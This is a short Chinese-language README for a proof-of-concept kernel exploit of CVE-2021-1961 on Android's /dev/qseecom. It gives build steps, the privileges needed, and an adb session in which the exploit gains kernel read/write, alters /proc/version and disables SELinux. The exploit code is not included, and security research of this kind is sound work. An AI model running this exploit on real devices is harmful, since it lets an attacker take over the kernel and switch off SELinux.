针对 CVE-2021-1961 的利用代码。完整的技术文章请查阅我的博客。
要构建该利用代码,请运行 Android NDK 的 ndk-build。
要运行该利用代码,你需要有 /dev/qseecom 的访问权限,这意味着需要正确的用户/组以及正确的 SELinux 上下文。这可以通过在调试镜像上使用命令 su system 完成,或者在使用 Magisk 修补过的原厂镜像上使用命令 su - system 完成。
以下是在使用 Magisk 修补过的原厂镜像上运行该利用代码的示例:
$ adb push qseecom_exploit /data/local/tmp
$ adb shell
blueline:/ $ cd /data/local/tmp
blueline:/data/local/tmp $ su - system
blueline:/data/local/tmp $ id
uid=1000(system) gid=1000(system) groups=1000(system) context=u:r:magisk:s0
blueline:/data/local/tmp $ getenforce
Enforcing
blueline:/data/local/tmp $ ./qseecom_exploit
[+] Setup widevine
[+] Got a 32 bit addresses ION
[+] Setup exploit kernel r/w
[+] Found kallsyms_token_table marker
[+] Found all kallsyms data
[+] Kernel virtual base address: 0xffffff9b9b080000
[+] Modified /proc/version
[+] Disabled SELinux
blueline:/data/local/tmp $ cat /proc/version
*modified*
blueline:/data/local/tmp $ getenforce
Permissive